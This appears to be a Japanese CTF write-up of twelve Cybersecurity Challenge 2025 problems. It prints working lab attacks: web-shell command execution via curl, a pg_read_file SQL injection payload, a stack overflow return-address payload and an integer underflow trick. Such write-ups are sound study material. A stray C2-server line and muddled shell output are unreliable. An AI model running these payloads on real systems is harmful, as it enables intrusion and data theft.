4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Cybersecurity Challenge 2025の解けた問題限定writeup

Last updated at Posted at 2025-09-19

NFLabs. × FFRI「Cybersecurity Challenge 2025」の解けた問題だけのwriteup

はじめに

NFLabs.さんとFFRIさんが共同開催した「Cybersecurity Challenge 2025」に参加し、12問の解けた問題のwriteupを残します。(Welcomeを除く)あくまでもこのwriteupは解説が出る前に私が行き当たりばったりで解けたものだけを掲載しているのとあえて解説は見ないで書いているのであくまでプレイヤー側の視点として作成しているため一部正攻法でない解き方の物もあるかもしれません。模範的な解き方を知りたい方は他の参加者のwriteupを参考にしてください。
ちなみに順位は16位で目標の10位以内には届きませんでした。
image.png

問題カテゴリと構成

本CTFは、Pentest、WebExploit、Malware Analysis、Binary Exploitation、Miscellaneousの5つのカテゴリから構成されていました

Pentest

  • HiddenService(ネットワークフォレンジック)

WebExploit

  • Secure Web Company(情報漏洩脆弱性)
  • TimeFiles(SQLインジェクション + 暗号解析)

Malware Analysis

  • Downloader(マルウェア解析)
  • Acrobatics(PDFフォレンジック)
  • CustomEncryptor(ランサムウェア復号)

Binary Exploitation

  • Abnormal(整数アンダーフロー)
  • Jump(スタックバッファオーバーフロー)

Miscellaneous

  • Bellaso(古典暗号解読)
  • Hamburger(OSINT調査)
  • Lamp(ハードウェア回路)
  • Salted Hash Hunt(パスワードクラッキング)

1. HiddenService(Pentestカテゴリ)

問題文

会社の同僚がインターネットから接続できる場所に検証用サーバを構築していました。
いわく、SSHは認証があって面倒だから自分しか知らない別の方法でサーバを操作できるようにしているそうです。
サーバ内にあるファイル flag.txt を見つけて、会社の同僚にこのサーバが安全でないことを教えてあげてください。本問題のターゲットマシンを起動してください。起動が完了したら、VPN接続マシンまたはBrowser Kaliから <ターゲットのIP> のマシンを調査してください。
ヒント

  • このサーバではどのようなサービス、OSが動いているでしょうか?それらのバージョンは?どうすれば調べられるでしょうか?
  • 特定のファイルを探すのに便利なコマンドはないでしょうか?
    回答形式: flag{...}

問題分析

まずはこのサーバがどのような機能を提供しているかを調べるためにnmapを使用しました。

┌──(kali㉿kali)-[~]
└─$ nmap 10.0.129.168   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 20:49 JST
Nmap scan report for ip-10-0-129-168.ap-northeast-1.compute.internal (10.0.129.168)
Host is up (0.0018s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
31337/tcp open  Elite

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

スキャン結果から、標準的なSSHポート(22)に加えて、31337という特徴的なポートが開いていることがわかります。

詳細調査

次に、この怪しいポートで何が動作しているのかを特定するため、バージョン検知(-sV)とスクリプトスキャン(-sC)を追加して、より詳細なスキャンを実行します。

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -p 31337 10.0.129.168
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 21:03 JST
Nmap scan report for ip-10-0-129-168.ap-northeast-1.compute.internal (10.0.129.168)
Host is up (0.0030s latency).

PORT      STATE SERVICE VERSION
31337/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Sh4d0w Sh311

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds

この結果、ポート31337ではApache Webサーバーが動作しており、ページのタイトルがSh4d0w Sh311 (Shadow Shell) であることが判明しました。これはWebシェルである可能性が高いと考えられます。

Webシェルの解析とコマンド実行

Webブラウザを使ってもいいですが、今回は確認のしやすさからコマンドラインから調査を進めるためcurlコマンドを使用します。まず、ページのソースコードを取得します。

C2サーバー(c2.fake-update.test)への認証リクエストが確認されました。

┌──(kali㉿kali)-[~]
└─$ curl http://10.0.129.168:31337
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Sh4d0w Sh311</title>
  <style>
    body {
      background-color: #0f0f0f;
      color: #00ff99;
      font-family: monospace;
    }
    .terminal {
      max-width: 800px;
      margin: 60px auto;
      background-color: #1e1e1e;
      padding: 20px;
      border-radius: 10px;
      box-shadow: 0 0 20px #00ff99;
    }
    .title {
      font-size: 24px;
      color: #00ffff;
      margin-bottom: 10px;
    }
    #output {
      white-space: pre-wrap;
      min-height: 200px;
      font-size: 16px;
      margin-bottom: 10px;
    }
    input {
      width: 100%;
      padding: 10px;
      background-color: #0f0f0f;
      color: #00ff99;
      border: 1px solid #00ff99;
    }
  </style>
</head>
<body>
  <div class="terminal">
    <div class="title">Welcome to Sh4d0w Sh311</div>
    <div id="output">For maintenance</div>
    <input type="text" id="cmdInput" placeholder="Type a command and press Enter">
  </div>

  <script>
    const input = document.getElementById('cmdInput');
    const output = document.getElementById('output');

    input.addEventListener('keydown', async function(e) {
      if (e.key === 'Enter') {
        const cmd = input.value.trim();
        output.innerHTML += `\n> ${cmd}`;
        input.value = '';

        const res = await fetch('exec.php', {
          method: 'POST',
          headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
          body: `cmd=${encodeURIComponent(cmd)}`
        });
        const text = await res.text();
        output.innerHTML += `\n${text}`;
        output.scrollTop = output.scrollHeight;
      }
    });
  </script>
</body>
</html>

取得したHTML内のJavaScriptコードを解析すると、コマンド実行の仕組みが判明しました。

  • 送信先: exec.php

  • 送信方法: POSTメソッド

  • パラメータ名: cmd

Webサーバーのルートディレクトリのファイル一覧が表示され、コマンドが正常に実行されていることが確認できました。

┌──(kali㉿kali)-[~]
└─$ curl -X POST --data "cmd=ls -la" http://10.0.129.168:31337/exec.php
total 16
total 16
drwxr-xr-x 2 root root 4096 Aug 28 09:13 .
drwxr-xr-x 3 root root 4096 Jun 17 09:11 ..
-rw-r--r-- 1 root root  186 Jun 17 09:10 exec.php
-rw-r--r-- 1 root root 1696 Aug 28 09:13 index.html
Command 'total' not found, did you mean:
  command 'topal' from deb topal
Try: sudo apt install <deb name>

次に、目標であるflag.txtをファイルシステム全体からfindコマンドで探します。権限エラーによる不要な出力を除くため2>/dev/nullを追加します。

┌──(kali㉿kali)-[~]
└─$ curl -X POST --data "cmd=find / -name flag.txt 2>/dev/null" http://10.0.129.168:31337/exec.php
/flag.txt
/flag.txt
zsh: no such file or directory: /flag.txt

最後に、catコマンドでファイルの内容を読み取り、フラグを取得します。

┌──(kali㉿kali)-[~]
└─$ curl -X POST --data "cmd=cat /flag.txt" http://10.0.129.168:31337/exec.php
flag{Ch4nging_th3_p0rt_is_p0intl3ss}

2. Secure Web Company(WebExploitカテゴリ)

問題文

Secure Web Company のお問い合わせページから、開発者向けの機密情報が見えてしまうという問い合わせをいただきました。
その機密情報を見つけ、答えてください。
本問題のターゲットマシンを起動してください。起動が完了したら、VPN接続マシンまたはBrowser Kaliから http://<ターゲットのIP>:8090 へ接続してください。
問題ファイルをダウンロード: Secure_Web_Company.zip
ZIPのハッシュ値(SHA256): 1cfbe4df0847198f4c4db9fc61ed1ec99c289454c467f50cb917870aa393c124
ヒント

  • ダウンロードできる問題ファイルにはダミーフラグが含まれています。一方で、本物のフラグはDEPLOYされた環境にのみ存在します。本物のフラグを確認するには、DEPLOYした環境でどのような操作を行えばよいか考えてみましょう。
  • このWebサイトでは、通常は公開されないファイルが含まれています。index.htmlからそのファイルの手がかりを探ってみましょう。
    回答形式: flag{...}

問題分析

  1. ターゲットIPアドレスにブラウザでアクセス

image.png

一見なんの異変の無いお問い合わせフォームですが、開発者ツール(F12)でサイトの構成を確認していると開発中のコメントを消し忘れているようなものを見つけました。
image.png

  1. 開発者ツール(F12)を開いて調査
  2. README.mdファイルを読むように指示されていることを確認
  3. /README.mdパスに直接アクセスしてファイルをダウンロード
  4. ダウンロードしたファイルからフラグを取得

README.mdの確認

README.mdを確認してくれと言われてもサイト内にはそれらしいファイルは添付されていません。しかし、Webの開発時に本番環境にデプロイする前の段階で作業フォルダにREADME.mdを置いている方は多いと思います。そこで、README.mdの取り除き忘れを期待してhttp://10.0.129.169:8090/README.mdにアクセスを試みるとファイルのダウンロードをすることに成功しました。

image.png

ファイルを開いてみると以下のようにフラグが存在していました。

image.png

flag{5up3r53cr37_4dm1n_p455w0rd}

3. TimeFiles(WebExploitカテゴリ)

問題

TimeFliesは簡易的な掲示板サイトです。flag{フラグ文字列}の形式のフラグを用意しておいたので探してみてください。
本問題のターゲットマシンを起動してください。起動が完了したら、VPN接続マシンまたはBrowser Kaliから http://<ターゲットのIP>:8092 へ接続してください。
問題ファイルをダウンロード: TimeFlies.zip
ZIPのハッシュ値(SHA256): e27d619d2808b2a9ab3da706af7d54555b2cc6256f8438bc5fab9df449ca396c
回答形式: flag{...}

問題の分析

ターゲットのIPにアクセスをするとこのようなTopページがありました。
ログイン機能もありましたが、今回はユーザ名もパスワードも提示されていないので一旦後回しにして検索機能を調査してみました。

image.png

まず、ソースコードを確認してみると

db.go:45において、検索機能でユーザー入力が直接SQLクエリに連結されていました。

queryStr := "SELECT * from msgs where title ILIKE '%" + title + "%'"

crypto.goで以下の問題が発見されました。

  • AES暗号化キーが時刻ベースで生成される
  • AccessTimeヘッダーで暗号化時刻が漏洩する
  • 固定IVの使用で予測可能

攻略手順

ステップ1: SQLインジェクションによるファイルアクセス

PostgreSQLのpg_read_file関数を悪用してadmin.xmlファイルを読み取りました。

curl -X POST http://10.10.123.45:8092/search \
  -d "title=' UNION SELECT pg_read_file('/app/admin.xml') as title, '' as content --"

curlコマンドによって返ってきたHTMLのテーブル部分を確認するとadminのユーザ情報を取得することに成功しました。

<td>&lt;user&gt;
    &lt;Name&gt;admin&lt;/Name&gt;
    &lt;Password&gt;3xWJ4E7QnS&lt;/Password&gt;
&lt;/user&gt;</td>

ログイン

取得したパスワードでadminとしてログインすると暗号化されたフラグと思われるものが提示されました。

image.png

  • 暗号化されたフラグ: k9srGXWi65WsPu96h0tYRF2mW0I8f/2BrbV5jABJMAk=
  • AccessTimeヘッダー: 1757768376590

フラグ復号化

ソースコードを確認した暗号化アルゴリズムの解析により以下が判明しました。
このコードはシード値sが分かれば、生成される鍵は常に同じになる」という点にあります。そして、AccessTime ヘッダーによってシード値の大部分が漏洩しており、残る不確定要素は0~999ミリ秒の遅延のみです。したがって、この1000通りを総当たりすれば、必ず正しい鍵を再現できます。

// crypto.go (サーバ側の鍵生成コード)
func generateKey(seed int64) []byte {
    // 0~999ミリ秒のランダムな遅延を追加
    time.Sleep(time.Duration(rand.Intn(1000)) * time.Millisecond)

    // 現在時刻(ナノ秒)をシードとして使用
    s := time.Now().UnixNano()
    r := rand.New(rand.NewSource(s)) // ★脆弱性の核心

    key := make([]byte, 16)
    for i := 0; i < 16; i++ {
        key[i] = byte(r.Intn(256))
    }
    return key
}
  1. キー生成: 時刻をシードとしたGoのLCG乱数生成器
  2. 暗号化: AES-128-CBC
  3. IV: 固定値
  4. generateKey()内で0-999msのランダム遅延

その後、以下のexploitコードを作成して総当り攻撃で複合を試みて遅延オフセット946msでフラグを復号化しました。

// solver.go (復号用スクリプト)
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"math/rand"
	"strings"
)

// サーバの鍵生成ロジックを完全に再現
func generateKeyForSolver(seed int64) []byte {
	r := rand.New(rand.NewSource(seed))
	key := make([]byte, 16)
	for i := 0; i < 16; i++ {
		key[i] = byte(r.Intn(256))
	}
	return key
}

func main() {
	// ステップ2で取得した情報
	encryptedFlagBase64 := "k9srGXWi65WsPu96h0tYRF2mW0I8f/2BrbV5jABJMAk="
	accessTimeNano := int64(1757768376590)

	ciphertext, _ := base64.StdEncoding.DecodeString(encryptedFlagBase64)
	iv := []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}

	fmt.Println("Brute-forcing millisecond offset (0-999)...")

	// 0から999までのミリ秒オフセットを総当たり
	for offset_ms := 0; offset_ms < 1000; offset_ms++ {
		// 試行するシード値を計算 (AccessTime + オフセット)
		trySeed := accessTimeNano + int64(offset_ms)*1000000
		key := generateKeyForSolver(trySeed)

		block, _ := aes.NewCipher(key)
		mode := cipher.NewCBCDecrypter(block, iv)
		decryptedText := make([]byte, len(ciphertext))
		mode.CryptBlocks(decryptedText, ciphertext)

		// 正しく復号できたか確認
		if strings.HasPrefix(string(decryptedText), "flag{") {
			fmt.Printf("\n[+] Success! Offset found: %d ms\n", offset_ms)
			plaintext := strings.TrimRight(string(decryptedText), "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
			fmt.Printf("[+] Flag: %s\n", plaintext)
			return
		}
	}
}
flag{43s_f4s7_bu7_71m3_s10w3r}

4. Downloader(Malware Analysisカテゴリ)

問題

バイナリ解析には様々な方法があります。
配布実行ファイルは特定のURLへ通信する機能を持ちます。通信先URLをそのまま回答してください。flag{}は不要です。
回答例: http://198.51.100.1/path
問題ファイルをダウンロード: Downloader.zip
ZIPのパスワード: CybersecurityChallenge
ZIPのハッシュ値(SHA256): c4a324071b98b687334b442f664bcd8fa5679b583e5f264f5a5c6bb45ed4caaf
ヒント
バイナリ解析の最初には、表層解析を行うことが多いです。
回答形式: 通信先URLそのもの。flag{}は不要です。

問題分析

まずは配布されたexeファイルをそのまま実行するのは危険なためstringsコマンドという人間の読めるバイナリファイルに含まれている文字列を抽出するコマンドを使用して調査をしました。

┌──(kalikalisnack㉿kali)-[~/Downloads/Downloader]
└─$ strings Downloader.exe                     
!This program cannot be run in DOS mode.
Rich?B
.text
`.rdata
@.reloc
umhP @
Constructing a destination path...
download_result.bin
The constructed path: 
Downloading...
http://172.30.153.199/x2hZq0XMZro0
Succeeded
Failed
GCTL
.text$mn
.idata$5
.rdata
.rdata$voltmd
.rdata$zzzdbg
.idata$2
.idata$3
.idata$4
.idata$6
GetStdHandle
WriteConsoleA
lstrlenA
ExitProcess
KERNEL32.dll
SHGetFolderPathA
SHELL32.dll
PathAppendA
SHLWAPI.dll
URLDownloadToFileA
urlmon.dll
0!0:0T0]0j0s0

すると実行結果の中に、以下のURLがはっきりと含まれている事が分かります。

Downloading...
http://172.30.153.199/x2hZq0XMZro0
Succeeded
Failed
...
URLDownloadToFileA

さらに、URLDownloadToFileAというWindows APIのURLからファイルをダウンロードするための関数がありこのプログラムが指定のURLと通信を行う設計となっていた事が分かります。

5. Acrobatics(Malware Analysisカテゴリ)

問題

あなたは社内のセキュリティチームの一員として、従業員から送られてきた「怪しいPDFファイル」の調査を任されました。
一見普通の書類に見えますが、何か仕掛けがあるようです。
問題ファイルをダウンロード: Acrobatics.zip
ZIPのパスワード: CybersecurityChallenge
ZIPのハッシュ値(SHA256): 56e16d8dc99f407c98c95b9f344b8df2525581738873093516414a26e8b0ac82
※このファイルには実行コードが含まれていますが、危険なコードではありません。
ヒント

  • 特定のPDFビューワによっては、何かが表示されるかもしれません。
  • フラグは何かのアルゴリズムでエンコードされています
    回答形式: flag{...}

問題分析

配布されたPDFは一見すると普通の請求書でした。ここからフラグを取得することは難しいと考えたので次の手法に移りました。

image.png

静的解析による情報抽出

stringsコマンドを使用してファイル内の生データを調査しました。

strings invoice.pdf

JavaScript発見と解析

stringsの出力から、八進数で難読化されたJavaScriptコードを発見しました。このコードは文字コードの配列から文字列を生成し、アラートとして表示するものでした。出力結果が長くなってしまうためここでは省略させていただきます。

デコードとフラグ特定

Pythonスクリプトを用いて、JavaScript内の文字コード配列を文字列へ変換しました。

生成された文字列: Your flag is: ZmxhZ3twZGZfamF2YXNjcmlwdF9tYWdpY30=

import base64
encoded_flag = "ZmxhZ3twZGZfamF2YXNjcmlwdF9tYWdpY30="
decoded_flag = base64.b64decode(encoded_flag).decode('utf-8')
flag{pdf_javascript_magic}

6. CustomEncryptor(Malware Analysisカテゴリ)

問題

重要なファイルがランサムウェアにより暗号化されてしまいました。
一方で、ランサムウェアに不備があるため復元できるとの噂があります。
問題ファイルをダウンロード: CustomEncryptor.zip
ZIPのパスワード: CybersecurityChallenge
ZIPのハッシュ値(SHA256): afa351514647173b1a3f047bd7e0f37e49d0aa4b2ce4b821c810cd97cdb9200f
回答形式: flag{...}

問題分析

配布されたファイルがまず何者なのかを知るためにファイルコマンドを使用しました。

┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/CustomEncryptor]
└─$ file CustomEncryptor.exe secret.iso.encrypted
CustomEncryptor.exe:  PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections
secret.iso.encrypted: data

この出力結果から2点の事が分かりました。

  • CustomEncryptor.exe: Mono/.Net assembly とある通り、これは .NET で作られたプログラムです。

  • secret.iso.encrypted: data と表示されており、特定のファイル形式として認識できない、単なるバイナリデータであることを示しています。

脆弱性の調査

次にこちらのファイルを調査してみましょう。

┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/CustomEncryptor]
└─$ python3 analyze.py 
[+] Found resource of size 848 bytes. Saved to 'resource_0.bin'
[+] Found resource of size 490 bytes. Saved to 'resource_1.bin'
                                                                                                                             
┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/CustomEncryptor]
└─$ ls -l resource_*.bin
-rw-rw-r-- 1 kalikalisnack kalikalisnack 848  9月 19 11:49 resource_0.bin
-rw-rw-r-- 1 kalikalisnack kalikalisnack 490  9月 19 11:49 resource_1.bin

.NETアセンブリの逆アセンブル結果、RSA秘密鍵が公開鍵リソースに誤って含まれていることが判明しました。

ハイブリッド暗号化方式

  • AES-256-CBC: ファイル内容の暗号化
  • RSA-2048 OAEP SHA1: AESキーの暗号化
  • ファイル構造: [AES暗号化データ] + [RSA暗号化フッター256バイト]

エクスプロイト手順

RSA秘密鍵の抽出

PEファイルからCustomEncryptor.PublicKeyリソースを抽出し、Microsoft CSP BLOB形式から秘密鍵を取得しました。

フッター復号とAESパラメータ取得

RSA秘密鍵でフッターを復号し、以下のパラメータを取得しました。

  • AES Key: d5c94f3c9b91a0b4add842cd1cd1f0894f0dc0cf1c552012189b5228b2f493fa
  • AES IV: d5b090b9609f67639a2640a8e1d6677a

メインデータの復号

AES-CBC復号により元のISOファイルを復元し、マウント後にflag.txtを取得しました。

flag{W!7h_PR1V@TE_K3Y_C0M3$_GR3@T_R3$P0N51BI!I7Y}

7. Abnormal(Binary Exploitationカテゴリ)

問題

Flag を売っているショップを見つけた! けど所持金が足りない...どうしよう?
伝説の剣を売ればなんとかなるかな??
本問題のターゲットマシンを起動してください。起動が完了したら、VPN接続マシンまたはBrowser Kaliから nc <ターゲットのIP> 8101 コマンドで接続してください。
問題ファイルをダウンロード: abnormal.zip
ZIPのハッシュ値(SHA256): 10788346430ab2cb1590a34a2d9fc6828b0cb986f32a55990e304d85d57df923
ヒント

  • ダウンロードできる問題ファイルにはダミーフラグが含まれています。一方で、本物のフラグはDEPLOYされた環境にのみ存在します。本物のフラグを確認するには、DEPLOYした環境でどのような操作を行えばよいか考えてみましょう。
  • 整数オーバーフローで検索してみましょう。
    回答形式: flag{...}

問題分析

まずは問題文の指示の通りncコマンドでアクセスをして1.を押してみるとフラグを購入できる事がわかりました。
しかし、所持金が足りず購入ができません。

image.png

そこで所持アイテムを販売する事でフラグを買うのを試みますが、所持品を全て売ってもフラグの料金には足りません。そのため、不正を働いてフラグを取得してみましょう。
image.png

今回狙う脆弱性

アイテム販売機能において、大きな負の数を数量として提供することで、価格計算(quantity × price)が32bit符号付き整数の限界を下回り、非常に大きな正の数に折り返されます。

攻撃方法の考察

  • Legendary Swordの価格: 220,000
  • INT_MINを下回るための閾値数量: floor(-2,147,483,648 / 220,000) = -9762

image.png

このように脆弱性を突いて存在しない個数のソードを販売して所持金を増やすことに成功しました。

後は以下の画像のように普通にフラグを購入するとフラグを入手できます。
image.png

フラグ取得までの手順まとめ

  1. プログラム開始: nc <target_ip> 8101
  2. メインメニューから「2」(Sell)を選択
  3. 「2」(Legendary Sword)を選択
  4. 数量入力で「-9762」を入力
  5. プレイヤーのゴールドが大幅に増加
  6. フラグを購入

最終解答

flag{Th3_m1nu5_cr33p5_b3y0nd_ch405}

8. Jump(Binary Exploitationカテゴリ)

問題

ソースコードを見て、フラグを取得してください。
ただし、以下の条件で動作しています。

  • スタック保護機能(Stack Canary)は無効です。
  • 位置独立実行形式(PIE)は無効です。
  • 本問題は32bit i386環境を前提としています。
  • スタックのアラインメントは4バイトに設定されています。
  • print_flag 関数は必ず 0x21466F42 にロードされます。
    本問題のターゲットマシンを起動してください。起動が完了したら、VPN接続マシンまたはBrowser Kaliから nc <ターゲットのIP> 8102 コマンドで接続してください。
    問題ファイルをダウンロード: Jump.zip
    ZIPのハッシュ値(SHA256): 1a23095d9408b4c9876a813804cb9ccd571752fc20e7fec4625b0b9d5b30822e
    回答形式: flag{...}

問題分析

問題文の言う通りにncコマンドで接続を試みてみると名前を入力するように言われます。
しかし、どんな名前を入力してもHi,○○○!という元気な挨拶が返ってくるだけで何も変化が得られません。
そこで次のような脆弱性を突いた攻撃を行います。

┌──(kali㉿kali)-[~]
└─$ nc 10.0.129.166 8102
Tell me your name! : admin
Hi, admin!

バッファオーバーフロー

配布されたソースコードを確認してみると以下のような脆弱性を見つけました。

void greet() {
    char name[16] = { 0 };
    gets(name);  // 脆弱性ポイント
    printf("Hi, %s!\n", name);
}

gets()関数により16バイトを超える入力がスタックを上書きします。

メモリレイアウト

  • バッファ: 16バイト
  • 保存EBP: 4バイト
  • リターンアドレス: 4バイト

20バイトでリターンアドレス直前に到達します。

エクスプロイト手順

print_flag関数の固定アドレス(0x21466F42)にリターンアドレスを書き換えます。
すると以下のようにフラグを取得することに成功しました。

┌──(kali㉿kali)-[~]
└─$ printf 'AAAAAAAAAAAAAAAAAAAA\x42\x6f\x46\x21\n' | nc 10.0.129.166 8102
Tell me your name! : Hi, AAAAAAAAAAAAAAAAAAAABoF!!
Congratulations! Here's the flag: flag{80F_JUMP_70_FUNC710N}

よってフラグは以下のものだと分かりました。

flag{80F_JUMP_70_FUNC710N}

9. Bellaso(Miscellaneousカテゴリ)

問題

cipher.txt は、ある有名な古典作品の一節を、数百年前に作られた古典暗号で暗号化したテキストです。
この暗号文を解読して、解読結果に含まれるflagそのものを回答してください。例えば flag is example とある場合は example と回答してください。
問題ファイルをダウンロード: Bellaso.zip
ZIPのハッシュ値(SHA256): 2ecb130bd68b6c25cc80c23f338b27e81058a9dc20fc5015119964ea3790cbba
ヒント
この問題のタイトルをインターネットで調べてみましょう。使用した暗号方式が分かるかもしれません。
回答形式: 解読結果に含まれるflagそのもの。flag{}は不要です。

問題分析

配布されたフォルダには暗号文と解読の鍵と思われるテキストファイルが2つ含まれていました。まずは2つの中身を確認してみます。

┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/Bellaso]
└─$ ls
cipher.txt  key.txt
┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/Bellaso]
└─$  cat cipher.txt
ahvm xu abiptsc phsdwp wpakkyn uolayhnn ueztenev wnrskxc abefnys dnpfavoq vtyvbaolm khph js uhqtsp xtuetyeikefz sokls mi tszm moidp bi coer aw wnky simm rhqa ci nrs vtyoin lt wjoc lhxwvowasigdkq qnmy yiye apxgjmu wyhfygl gyiw csvgdw bb bqbahvntnmgx gpc hs hrekxc adi bfic wnpz uj sssldw trw bs yhxzqvr rszpd rh zekxctv corf bf ay nbj gpadki ghfclaex ge onkyxc is glhgai e zoi ythv fgyap cwllq tnaonku zlmoy atbt bjfbpwgwo sri obffv gywq heqlx gokp buvo ar moyetljbvvn ne aji cymwxfyl fgdcmy ps bpc hromzi ul bnmutrjbz otgi fe itf qixmw eh lj vvhw ztpo bbpyci al tnemn dqib ml tecklaesgtzgyb dzgp li llqhhtsnw yhnb js snpnbvvn de akvebm bnrc rkyec nlqeh jc bac mzierde qb fyyi nekhhwci iks gfribb ln pd rivh eghnw icofkbpi fnknujxx delqlu ds wyt hjninhpoqkae vbyi ha nnubpi anpzsp cnyyty gokiwpjpr agtsz rw zb ic lowlgkv kte knvfn vd rtymlu 
┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/Bellaso]
└─$  cat key.txt
thesquareoffortyfiveistwothousandtwentyfive

解法手順

ファイル分析

  • cipher.txt: 暗号化されたメッセージ
  • key.txt: 復号キー「thesquareoffortyfiveistwothousandtwentyfive」

Bellaso暗号は多表式置換暗号で、キーワードを使用して各文字をシフトします。復号化式は以下の通りです。

decrypted_char = (cipher_char - key_char) mod 26

復号化実装

Pythonスクリプトで復号化を実装しました。

# decrypt.py

# ファイルから暗号文とキーを読み込む
with open('cipher.txt', 'r') as f:
    ciphertext = f.read()

with open('key.txt', 'r') as f:
    # キーに含まれる改行文字などを除去
    key = f.read().strip()

# 復号処理
result = ""
key_index = 0
for char in ciphertext:
    if char.isalpha():
        # 大文字小文字を保持するために元の状態を保存
        is_upper = char.isupper()
        
        # 計算は大文字で行う
        cipher_val = ord(char.upper()) - ord('A')
        key_val = ord(key[key_index % len(key)].upper()) - ord('A')
        
        decrypted_val = (cipher_val - key_val) % 26
        decrypted_char = chr(decrypted_val + ord('A'))
        
        # 元の文字が小文字なら、復号後も小文字にする
        if not is_upper:
            decrypted_char = decrypted_char.lower()
            
        result += decrypted_char
        key_index += 1
    else:
        # アルファベット以外(スペース、句読点など)はそのまま追加
        result += char

# 結果を出力
print(result)

フラグ発見

復号化により「Makura no Sōshi」(枕草子)の一節が現れ、その中にフラグが埋め込まれていました。

┌──(kalikalisnack㉿kali)-[~/…/CTF/NFFFRI/test/Bellaso]
└─$ python3 exploit.py
haru ha akebono youyou shiroku nariyuku yamagiwa sukoshi akarite murasaki dachitaru kumo no hosoku tanabikitaru natsu ha yoru tsuki no koro ha sara nari yami mo nao hotaru no ooku tobichigaitaru mata tada hitotsu futatsu nado honoka ni uchihikarite iku mo okashi ame nado furu mo okashi aki ha yuugure yuuhi no sashite yama no ha ito chikou naritaru ni karasu no nedoko e iku tote mitsu yotsu futatsu mitsu nado tobiisogu sae aware nari maite kari nado no tsuranetaru ga ito chiisaku miyuru ha ito okashi hi irihatete kaze no oto mushi no ne nado hata iubeki ni arazu flag is makuranosoushi fuyu ha tsutomete yuki no furitaru wa iubeki nimo arazu shimo no ito shiroki mo mata sarademo ito samuki ni hi nado isogi okoshite sumimote wataru mo ito tsukizukishi hiru ni narite nuruku yurubi moteikeba hioke no hi mo shiroki hai gachi ni narite waroshi

最終解答

makuranosoushi

12. Hamburger(Miscellaneousカテゴリ)

問題

2024年8月のある日、株式会社エヌ・エフ・ラボラトリーズの社員である私たちは、とあるカフェでハンバーガーを食べていました。後日、株主会社のMさんが、私たちがそのカフェを訪れた日の2日前に、同カフェから半径6km以内の会場で開催されたイベントで講演していたことを知りました。私たちはそのイベントに参加していなかったため、講演の内容を確認したいと考えています。
講演で使用されたスライドを確認し、15ページ目に記載されたsecret.txtに書かれている文字列を答えてください。
フラグ形式
文字列を発見したら、 そのままの形式で提出してください。
例)secret.txtに書かれている文字列がmojiretsuの場合、mojiretsuと提出します。
回答形式: secret.txtに書かれている文字列そのもの。flag{}は不要です。

問題分析

情報の整理

  • 登場組織: 株式会社エヌ・エフ・ラボラトリーズ
  • 登場人物: 「M氏」
  • 時間: 2024年8月(カフェ訪問日とその2日前の講演)
  • 場所: カフェから半径6km以内のイベント会場

登壇者の特定

今回の問題文のヒントの中で最初に取り組んだ投稿の特定がどうしても行えなかったので登壇者の特定から行いました。株主会社のMさんとの記述から、まずはNFLabs.さんの株主会社について調査をしました。
NFLabs.さんの公式ホームページを確認するとNTTドコモビジネス株式会社さんが60%,株式会社FFRIセキュリティさんが40%の比率で株主となっている事を確認しました。
そこでイニシャルがMから始まる社員さんを見つけ出し、その名前で2024年8月の公演情報を調べて回りました。
するとFFRIさんの「FFRIセキュリティ BLOG」においてBlack Hat USA 2025への参加の告知がされていました。
https://www.ffri.jp/blog/2025/06/2025-06-04.htm

フラグの取得

松尾さんの講演資料をダウンロードし、15ページ目で「secret.txtを参照」との記載を発見しました。(講演資料には著作権が存在するため、自分で実際に確認してください)

フラグ

verysecretdata

10. Lamp(Miscellaneousカテゴリ)

問題

あなたはハードウェアエンジニアとして、Raspberry Pi Picoを用いてLEDを点滅させる簡単な電子回路を作成してほしいと依頼されました。
使用するプログラムと製作中の回路図のみ渡されています。
途切れている配線をRaspberry Pi Picoのどの物理PIN(物理PINは1から40まで存在する)に繋げばLEDが光るかを調査してください。
Webサイトで正解のPIN番号を入力する事でフラグを取得できます。
※PIN番号が100番の場合、入力は半角で100のみ入力してください。
※ピン番号の入力の解答回数は3回までとします。
本問題のターゲットマシンを起動してください。起動が完了したら、VPN接続マシンまたはBrowser Kaliから http://<ターゲットのIP>:8110 へ接続してください。
問題ファイルをダウンロード: Lamp.zip
ZIPのハッシュ値(SHA256): 4deed859d0e9f87f9759134bb807f279a627addf5b4c8c0aa58a2cd1f39a4295
ヒント

  • Raspberry Pi Picoのピン配置とそれぞれの役割を調べてみましょう
  • Pin関数の使い方を調べてみましょう
    回答形式: flag{...}

image.png

解法手順

プログラム解析

from machine import Pin
import time

led = Pin(18, Pin.OUT)  # GPIO18を使用

while True:
    led.value(1)
    time.sleep(1)
    led.value(0)
    time.sleep(1)

GPIO18がLED制御に使用されていることが判明しました。

ピン配置調査

Raspberry Pi Picoの公式ピン配置図を調査した結果、GPIO18は物理PIN番号24に対応することが判明しました。
よってフラグは以下の通りになりました。

24

11. Salted Hash Hunt(Miscellaneousカテゴリ)

問題

